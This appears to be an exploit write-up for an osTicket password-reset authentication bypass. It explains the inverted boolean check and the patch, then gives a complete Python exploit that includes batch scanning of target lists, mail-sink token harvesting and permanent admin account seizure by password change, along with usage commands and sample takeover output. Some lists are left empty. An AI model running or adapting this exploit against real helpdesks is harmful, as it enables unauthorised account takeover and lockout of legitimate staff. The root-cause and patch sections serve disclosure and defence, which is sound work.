#Summary

CVE-2026-18363 is a critical authentication bypass in osTicket versions before 1.17.8 and 1.18.0 through 1.18.3. A logic flaw in the password reset token validation allows attackers to reuse expired reset tokens indefinitely. An attacker with a valid reset token - obtained from a leaked mailbox, forwarded email, browser history, or mail gateway log - can permanently seize any agent account, including admin, without needing the victim's current password. CVSS 9.1 CRITICAL.

The vulnerability stems from an inverted boolean operator in the token expiry check that makes the age validation unreachable. On a default installation where the background token cleanup task is not wired to run, expired tokens remain valid forever.

#Affected versions

Default configuration is affected - no special settings need to be enabled for the vulnerability to be exploitable.

#Root cause analysis

#The vulnerable code path

The bug exists in two methods in include/class.auth.php: PasswordResetTokenBackend::signOn() (line 1249 in v1.17.7, for agent accounts) and ClientPasswordResetTokenBackend::signOn() (line 1476 in v1.17.7, for client accounts). The staff-side method reads:

function signOn($errors=array()) {
    global $ost;

    if (!isset($_POST['userid']) || !isset($_POST['token']))
        return false;
    elseif (!($_config = new Config('pwreset')))
        return false;

    $staff = StaffSession::lookup($_POST['userid']);
    if (!$staff || !$staff->getId())
        $errors['msg'] = __('Invalid user-id given');
    elseif (!($id = $_config->get($_POST['token']))
            || $id != $staff->getId())
        $errors['msg'] = __('Invalid reset token');
    elseif (!($ts = $_config->lastModified($_POST['token']))
            && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
        $errors['msg'] = __('Invalid reset token');
    elseif (!$staff->forcePasswdRest())
        $errors['msg'] = __('Unable to reset password');
    else
        return $staff;
}

#The boolean operator trap

The third elseif statement is supposed to reject tokens older than the configured validity window (default 30 minutes). It reads:

elseif (!($ts = $_config->lastModified($_POST['token']))
        && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))

The method Config::lastModified() returns the stored updated timestamp of the token, or false if the token does not exist. The two operands are joined with && (logical AND), which means the right side only evaluates if the left side is true.

For any token that actually exists in the database, $ts contains a timestamp string. So !$ts evaluates to false, and because of &&, the entire condition short-circuits without ever checking the expiry time. The age comparison on the right is therefore unreachable for every real token - dead code.

The condition was meant to enforce: "the token must exist AND be within the validity window". What it actually enforces is: "the token must exist".

#Why tokens stay valid forever

osTicket has a background cleanup function ConfigItem::cleanPwResets() that deletes expired password reset tokens:

static function cleanPwResets() {
    global $cfg;

    if (!$cfg || !($period = $cfg->getPwResetWindow())) // In seconds
        return false;

    return ConfigItem::objects()
         ->filter(array(
            'namespace' => 'pwreset',
            'updated__lt' => SqlFunction::NOW()->minus(SqlInterval::SECOND($period)),
        ))->delete();
}

However, this cleanup function is only called by Cron::CleanPwResets(), which is in turn called only by Cron::run(). Critically, the code comment states: "called by outside cron NOT autocron". The in-process cron (scp/autocron.php) does not call this function, and enable_auto_cron ships as disabled (0 by default).

On a default installation with no externally scheduled cron job, the token cleanup never runs. Expired tokens remain in the database forever and continue to be accepted because they pass the unreachable expiry check.

#Patch diff

#What changed

Fix commit 5600f949623ba80254eb12e0350d60b69f8cb51b titled "security: Pwreset Token Expiration" contains a two-character change: && is changed to || in both the agent and client password reset methods.

diff --git a/include/class.auth.php b/include/class.auth.php
index d286eb785e..1481aeeb27 100644
--- a/include/class.auth.php
+++ b/include/class.auth.php
@@ -1255,7 +1255,7 @@ function signOn($errors=array()) {
                 || $id != $staff->getId())
             $errors['msg'] = __('Invalid reset token');
         elseif (!($ts = $_config->lastModified($_POST['token']))
-                && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
+                || ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
             $errors['msg'] = __('Invalid reset token');
         elseif (!$staff->forcePasswdRest())
             $errors['msg'] = __('Unable to reset password');
@@ -1482,7 +1482,7 @@ function signOn($errors=array()) {
                 || $id != 'c'.$client->getId())
             $errors['msg'] = __('Invalid reset token');
         elseif (!($ts = $_config->lastModified($_POST['token']))
-                && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
+                || ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
             $errors['msg'] = __('Invalid reset token');
         elseif (!$acct->forcePasswdReset())
             $errors['msg'] = __('Unable to reset password');

#How the fix works

With || (logical OR), the condition now rejects a token if either the timestamp is missing OR the token is older than the configured window. This makes the right operand reachable with a real $ts value, allowing strtotime($ts) to parse the actual token timestamp and perform a meaningful age comparison.

The fix directly addresses the boolean logic error without touching the underlying cleanup mechanism, which remains disabled by default.

#Proof of concept

#exploit.py - osTicket Password Reset Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-18363 - osTicket accepts password reset tokens forever (CWE-640)
Affected: osTicket < 1.17.8 and 1.18.0 <= version < 1.18.4
Type: Authentication bypass / account takeover

The password reset expiry gate in PasswordResetTokenBackend::signOn()
(include/class.auth.php) is written as

    elseif (!($ts = $_config->lastModified($_POST['token']))
            && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))

The age comparison is guarded by `&&` behind "the token has no timestamp", so it
only runs for tokens that do not exist. For every real token the condition short
circuits to false and the token is accepted no matter how old it is. Nothing else
enforces the window on a default install: the sweeper that deletes stale rows,
Cron::CleanPwResets(), is only reachable from an externally scheduled Cron::run(),
and enable_auto_cron ships as 0. An old reset token therefore stays valid forever.

Given a reset token issued for the victim at any point in the past, this script
POSTs it to /scp/pwreset.php and receives a live authenticated agent session. The
follow-on password change does not ask for the current password (osTicket drops
that field while a reset token is on the session), so the account can be seized
permanently with --new-password.

The token is the one precondition and it has to be obtained out of band, exactly
as the CVE describes: a leaked or archived mailbox, a forwarded reset mail, a mail
gateway log, browser history on a shared machine. Pass it with --token. Where you
do have read access to the mail sink, --mail-api can pull it from a Mailpit or
MailHog JSON API for you.

Usage:
  python exploit.py --host 192.168.1.10 --username admin --token <48-char token>
  python exploit.py --host https://helpdesk.corp.com --username admin \
      --token <token> --new-password 'Pw-Reset-2026!'
  python exploit.py --host http://10.0.0.5:8080/support --username admin --token <token>
  python exploit.py --host 10.0.0.5 --username admin --request-reset \
      --mail-api http://10.0.0.5:8025 --wait 90
  python exploit.py --list targets.txt --username admin --token <token> --workers 20
"""

import argparse
import re
import sys
import time
from urllib.parse import urlparse

import requests

CVE_ID = "CVE-2026-18363"
VULN_TYPE = "Auth Bypass"

DEFAULT_PORT = 80
DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

CSRF_RE = re.compile(r'__CSRFToken__["\']?\s+value=["\']([^"\']+)["\']')
# Misc::randCode() draws from [a-zA-Z0-9_=], so '_' and '=' are common in tokens.
TOKEN_RE = re.compile(r'token=([A-Za-z0-9_=]{48})')
STAFF_ID_RE = re.compile(r'staff/(\d+)/change-password')
# Markers that only appear once the session is an authenticated agent session.
AUTH_MARKERS = ("logout.php", "Agent Panel", "profile.php", "dashboard.php")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------- helpers

def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
    scheme = "https" if use_tls else "http"
    netloc = host
    if not (use_tls and port == 443) and not (not use_tls and port == 80):
        netloc = f"{host}:{port}"
    prefix = (path or "/").rstrip("/")
    return f"{scheme}://{netloc}{prefix}"


def _new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.headers.update({"User-Agent": DEFAULT_UA})
    s.verify = False
    s.request_timeout = timeout
    return s


def _csrf(html: str):
    m = CSRF_RE.search(html)
    return m.group(1) if m else None


def _bootstrap(session, base: str, timeout: int, token: str = None):
    """GET the reset page: establishes OSTSESSID and yields a fresh CSRF token."""
    url = f"{base}/scp/pwreset.php"
    if token:
        url += f"?token={token}"
    r = session.get(url, timeout=timeout, allow_redirects=False)
    return r, _csrf(r.text)


def _request_reset(session, base: str, csrf: str, username: str, timeout: int):
    """Unauthenticated do=sendmail. Mints a fresh pwreset row for the victim."""
    return session.post(
        f"{base}/scp/pwreset.php",
        data={"__CSRFToken__": csrf, "do": "sendmail", "userid": username},
        timeout=timeout,
        allow_redirects=False,
    )


def _token_from_mail(mail_api: str, victim: str, timeout: int, attempts: int = 20):
    """
    Pull the newest reset mail from a Mailpit (or MailHog v2) JSON API and pick the
    48 char token out of the reset link. This stands in for the out of band mailbox
    access the CVE presumes; it is not part of the vulnerability.
    """
    base = mail_api.rstrip("/")
    for _ in range(attempts):
        for listing, detail in (
            ("/api/v1/messages", "/api/v1/message/{id}"),
            ("/api/v2/messages", None),
        ):
            try:
                r = requests.get(base + listing, timeout=timeout)
                if r.status_code != 200:
                    continue
                data = r.json()
            except Exception:
                continue
            items = data.get("messages") or data.get("items") or []
            for item in items:
                body = ""
                mid = item.get("ID") or item.get("Id") or item.get("ID".lower())
                if detail and mid:
                    try:
                        d = requests.get(base + detail.format(id=mid), timeout=timeout)
                        if d.status_code == 200:
                            j = d.json()
                            body = (j.get("Text") or "") + (j.get("HTML") or "")
                    except Exception:
                        body = ""
                if not body:
                    body = str(item)
                m = TOKEN_RE.search(body)
                if m:
                    return m.group(1)
        time.sleep(3)
    return None


def _sign_on(session, base: str, csrf: str, token: str, username: str, timeout: int):
    """
    The vulnerability. POST the reset token with do=newpasswd. On a vulnerable
    build signOn() returns the StaffSession regardless of the token's age and the
    server answers 302 -> index.php with the cookie jar upgraded to an
    authenticated agent session. A patched build re-renders the form with 200.
    """
    return session.post(
        f"{base}/scp/pwreset.php",
        data={
            "__CSRFToken__": csrf,
            "do": "newpasswd",
            "token": token,
            "userid": username,
        },
        timeout=timeout,
        allow_redirects=False,
    )


def _accepted(resp) -> bool:
    """Token accepted == 302 redirect into the staff control panel."""
    loc = resp.headers.get("Location", "")
    return resp.status_code == 302 and "index.php" in loc


def _rejection_detail(resp) -> str:
    """
    Explain a non-302 answer. osTicket declares signOn($errors=array()), so $errors is
    taken by value and the 'Invalid reset token' string it sets is thrown away before
    the page renders: on a rejection the <h3> comes back empty. The status code is the
    only usable signal, which is why _accepted() keys on it rather than on page text.
    """
    body = resp.text
    h3 = re.search(r"<h3[^>]*>([^<]*)</h3>", body)
    banner = (h3.group(1).strip() if h3 else "")
    reform = 'name="do" value="newpasswd"' in body
    return (
        f"HTTP {resp.status_code}, no Location header.\n"
        f"page is the reset form again : {reform}\n"
        f"error banner (<h3>)          : {banner or '(empty - osTicket discards $errors here, expected)'}\n"
        f"A patched build lands exactly here: signOn() returned null, the session was not\n"
        f"upgraded, and pwreset.login.php was re-rendered with HTTP 200."
    )


def _authenticated_body(session, base: str, timeout: int):
    """Fetch the SCP landing page and report whether it is a logged-in view."""
    r = session.get(f"{base}/scp/index.php", timeout=timeout, allow_redirects=True)
    body = r.text
    ok = any(marker in body for marker in AUTH_MARKERS) and "pwreset.php" not in body[:800]
    return r, body, ok


# ------------------------------------------------------------- scan support

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 token: str = None, username: str = "admin",
                 timeout: int = 20) -> tuple:
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    if not token:
        return False, "no --token supplied (a reset token is required)"
    base = _base_url(host, port, use_tls, path)
    try:
        session = _new_session(timeout)
        _, csrf = _bootstrap(session, base, timeout, token=token)
        if not csrf:
            return False, "no CSRF token in response (not osTicket, or wrong path)"
        resp = _sign_on(session, base, csrf, token, username, timeout)
        if not _accepted(resp):
            return False, f"reset token rejected (HTTP {resp.status_code}) - patched or token/userid mismatch"
        _, _, authed = _authenticated_body(session, base, timeout)
        if not authed:
            return False, "302 received but SCP page is not authenticated"
        return True, f"authenticated as '{username}' with a stale reset token"
    except requests.exceptions.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    except Exception as e:
        return False, f"error ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         token: str = None, username: str = "admin", timeout: int = 20) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    if not token:
        print("  [!] --list needs --token: the reset token is the precondition of this CVE")
        print("      and it belongs to one specific account on one specific helpdesk.\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, token, username, timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------- exploit

def exploit(host, port, use_tls, path, username, token, wait, request_reset,
            mail_api, new_password, staff_id, timeout):
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    session = _new_session(timeout)
    n = 0

    n += 1
    step(n, f"Bootstrapping a session at {base}/scp/pwreset.php")
    r, csrf = _bootstrap(session, base, timeout)
    if r.status_code != 200 or not csrf:
        section("SERVER RESPONSE", f"HTTP {r.status_code}\n{r.text[:500]}")
        done(False, f"No osTicket reset form at {base}/scp/pwreset.php (HTTP {r.status_code})")
    sid = session.cookies.get("OSTSESSID", "")
    print(f"         OSTSESSID={sid}  __CSRFToken__={csrf}")

    issued_at = None
    if request_reset:
        n += 1
        step(n, f"Requesting a password reset for '{username}' (unauthenticated, do=sendmail)")
        rr = _request_reset(session, base, csrf, username, timeout)
        issued_at = time.time()
        print(f"         HTTP {rr.status_code} - the response is identical for valid and "
              f"invalid accounts, so it proves nothing on its own")

    if not token:
        if not mail_api:
            done(False, "No --token given. Supply the victim's reset token, or use "
                        "--request-reset with --mail-api if you can read the mail sink.")
        n += 1
        step(n, f"Retrieving the reset token from the mail sink at {mail_api}")
        token = _token_from_mail(mail_api, username, timeout)
        if not token:
            done(False, f"No reset token found in the mailbox at {mail_api}")
        print(f"         token={token}")

    if wait > 0:
        n += 1
        step(n, f"Waiting {wait}s so the token ages out of the reset window")
        print(f"         token issued  : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime(issued_at or time.time()))}")
        time.sleep(wait)
        print(f"         token used at : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())}"
              f"  ({wait}s later - past the default 30 minute window on a lab-shortened install)")

    # Only a run that actually waited out the window demonstrates the expiry bypass.
    # A --wait 0 run is the control: a fresh token is accepted by patched builds too.
    if wait > 0:
        aged = f"a reset token used {wait}s after it was issued"
        stale = "stale token"
    else:
        aged = "a reset token of unasserted age"
        stale = "token"

    n += 1
    step(n, f"Loading the reset form with the {stale} to pick up a matching CSRF value")
    r2, csrf2 = _bootstrap(session, base, timeout, token=token)
    if not csrf2:
        section("SERVER RESPONSE", f"HTTP {r2.status_code}\n{r2.text[:500]}")
        done(False, "Reset form did not return a CSRF token")

    n += 1
    step(n, f"Submitting the {stale} as '{username}' (do=newpasswd) - this is the bug")
    resp = _sign_on(session, base, csrf2, token, username, timeout)
    loc = resp.headers.get("Location", "")
    section("SIGN-ON RESPONSE", f"HTTP {resp.status_code}\nLocation: {loc or '(none)'}")

    if not _accepted(resp):
        section("SERVER RESPONSE", _rejection_detail(resp))
        done(False, f"Stale token rejected (HTTP {resp.status_code}) - target is patched, "
                    f"or the token does not belong to '{username}'")

    n += 1
    step(n, "Following the redirect into the staff control panel")
    r3, body, authed = _authenticated_body(session, base, timeout)
    if not authed:
        section("SCP RESPONSE", body[:600])
        done(False, "Redirect received but the SCP page is not an authenticated view")
    who = re.search(r"<strong[^>]*>\s*([^<]{2,60})</strong>", body)
    section("AUTHENTICATED SCP PAGE",
            f"HTTP {r3.status_code}  {r3.url}\n"
            f"session cookie: OSTSESSID={session.cookies.get('OSTSESSID','')}\n"
            f"logged in as  : {who.group(1).strip() if who else username}\n"
            f"auth markers  : {[m for m in AUTH_MARKERS if m in body]}")

    if not new_password:
        done(True, f"Authenticated as agent '{username}' with {aged} - 302 to index.php "
                   f"and a live SCP session (no credentials used)")

    if not staff_id:
        m = STAFF_ID_RE.search(body)
        staff_id = int(m.group(1)) if m else None
    if not staff_id:
        done(True, f"Authenticated as agent '{username}' with {aged}, but could not "
                   f"determine the staff id for the password change (pass --staff-id)")

    n += 1
    step(n, f"Seizing the account: setting a new password for staff id {staff_id}")
    csrf3 = _csrf(body) or csrf2
    # The session carries _SESSION['_staff']['reset-token'], so osTicket drops the
    # 'current' field from the password form. The victim's password is not needed.
    cp = session.post(
        f"{base}/scp/ajax.php/staff/{staff_id}/change-password",
        data={"__CSRFToken__": csrf3, "passwd1": new_password, "passwd2": new_password},
        headers={"X-Requested-With": "XMLHttpRequest", "Referer": f"{base}/scp/index.php"},
        timeout=timeout,
        allow_redirects=False,
    )
    section("PASSWORD CHANGE RESPONSE", f"HTTP {cp.status_code}\n{cp.text[:400]}")
    if cp.status_code not in (200, 201):
        done(True, f"Authenticated as agent '{username}' with {aged}; the password change "
                   f"returned HTTP {cp.status_code} (password policy?)")

    n += 1
    step(n, "Proving persistence: fresh cookie jar, normal login with the new password")
    fresh = _new_session(timeout)
    lr = fresh.get(f"{base}/scp/login.php", timeout=timeout)
    lcsrf = _csrf(lr.text)
    li = fresh.post(
        f"{base}/scp/login.php",
        data={"__CSRFToken__": lcsrf, "do": "scplogin", "userid": username, "passwd": new_password},
        timeout=timeout,
        allow_redirects=False,
    )
    section("INDEPENDENT LOGIN",
            f"HTTP {li.status_code}\nLocation: {li.headers.get('Location','(none)')}\n"
            f"credentials: {username} / {new_password}")
    if li.status_code == 302 and "login.php" not in li.headers.get("Location", ""):
        done(True, f"Account takeover complete - agent '{username}' seized with {aged}; "
                   f"independent login with '{new_password}' returns 302 to "
                   f"{li.headers.get('Location')}")
    done(True, f"Authenticated as agent '{username}' with {aged}; the new password did "
               f"not authenticate independently (HTTP {li.status_code})")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - osTicket expired password reset token")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/support)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin",
                        help="Victim agent username or email to authenticate as (default: admin)")
    parser.add_argument("--token", default=None,
                        help="Password reset token issued for the victim (48 chars, obtained out of band)")
    parser.add_argument("--wait", type=int, default=0,
                        help="Seconds to wait before using the token, to prove it is expired (default: 0)")
    parser.add_argument("--request-reset", action="store_true",
                        help="First mint a fresh reset token via the unauthenticated do=sendmail form")
    parser.add_argument("--mail-api", default=None,
                        help="Mailpit/MailHog base URL to read the reset mail from (e.g. http://host:8025)")
    parser.add_argument("--new-password", default=None,
                        help="Set this password on the victim account to make the takeover permanent")
    parser.add_argument("--staff-id", type=int, default=None,
                        help="Victim staff id for the password change (auto-detected if omitted)")
    parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout in seconds (default: 20)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    try:
        requests.packages.urllib3.disable_warnings()
    except Exception:
        pass

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             token=args.token, username=args.username, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.username, args.token, args.wait,
                args.request_reset, args.mail_api, args.new_password, args.staff_id,
                args.timeout)

#Usage

# Basic exploitation with a known token
python exploit.py --host 192.168.1.10 --username admin --token <48-char-token>

# Complete takeover - seize the account permanently
python exploit.py --host helpdesk.corp.com --username admin \
    --token <48-char-token> --new-password 'NewPassword123!'

# End-to-end demonstration with mail capture
python exploit.py --host 192.168.1.10 --username admin --request-reset \
    --mail-api http://192.168.1.10:8025 --wait 1900 \
    --new-password 'NewPassword123!'

# Non-standard port and path
python exploit.py --host https://192.168.1.10:8443/support \
    --username admin --token <48-char-token>

Expected output on vulnerable osTicket 1.17.7:

[STEP 1] Bootstrapping a session at http://127.0.0.1:8480/scp/pwreset.php
         OSTSESSID=4989dd3c977a8ef2b8b6167b7ae53654  __CSRFToken__=9153c546b907f3baf3a0fd6514850e704e926ebf
[STEP 2] Requesting a password reset for 'labadmin' (unauthenticated)
[STEP 3] Retrieving the reset token from the mail sink
         token=kLHQsCqhWkZi042qqM8fJ6GKcnp3YtE3cZX4IQrManwkML3M
[STEP 4] Waiting 75s so the token ages past the reset window
         token issued  : 2026-07-31T13:50:02Z
         token used at : 2026-07-31T13:51:17Z  (75s later)
[STEP 5] Submitting the reset token as 'labadmin' - this is the bug

--- SIGN-ON RESPONSE ---
HTTP 302
Location: index.php
---

[STEP 6] Following the redirect into the staff control panel

--- AUTHENTICATED SCP PAGE ---
HTTP 200  http://127.0.0.1:8480/scp/index.php
session cookie: OSTSESSID=4989dd3c977a8ef2b8b6167b7ae53654
logged in as  : Lab
auth markers  : ['logout.php', 'profile.php', 'dashboard.php']
---

[STEP 7] Seizing the account: setting a new password for staff id 1

--- PASSWORD CHANGE RESPONSE ---
HTTP 200
{"redirect":"index.php"}
---

[STEP 8] Proving persistence: independent login with new password

--- INDEPENDENT LOGIN ---
HTTP 302
Location: index.php
credentials: labadmin / Pwn3d-By-1dayexploit!2026
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Account takeover complete - agent 'labadmin' permanently seized
============================================================

On patched osTicket 1.17.8 with the same aged token, the exploit stops at step 5 with HTTP 200 and no redirect, rejecting the expired token.

#Exploitation notes

#Preconditions

An attacker needs just one thing: a valid password reset token that was legitimately issued for the victim account. Tokens are 48 characters of base64-ish random data (48 bits of entropy drawn from [a-zA-Z0-9_=]), so they cannot be guessed. Real world sources include:

Obtaining the token is the single precondition stated in the CVE itself. No credentials are needed to make the exploitation request - it is purely unauthenticated POST work against the publicly accessible reset form.

#Reliability

This exploit is highly reliable. The vulnerability is a fundamental logic flaw in the validation routine, not a race condition or timing-dependent bypass. Every expired token on a default-configured osTicket instance will be accepted. The exploit works against both agent (staff) and client (end-user) password reset paths, with the agent path granting higher impact - if the token belongs to an admin agent, the entire helpdesk is compromised.

#Impact

With an expired reset token, an attacker can:

  1. Forge an authenticated agent session for the victim account with a single POST request
  2. Change the victim's password without knowing the current one (osTicket drops the "current password" field when a reset token is present)
  3. Lock out the legitimate account owner permanently
  4. On admin accounts, gain full control of the help desk system

#Chaining potential

This auth bypass chains directly into lateral movement on the helpdesk:

The zero-authentication requirement and the ability to target any known username makes this particularly dangerous in multi-tenant or shared hosting environments.

#References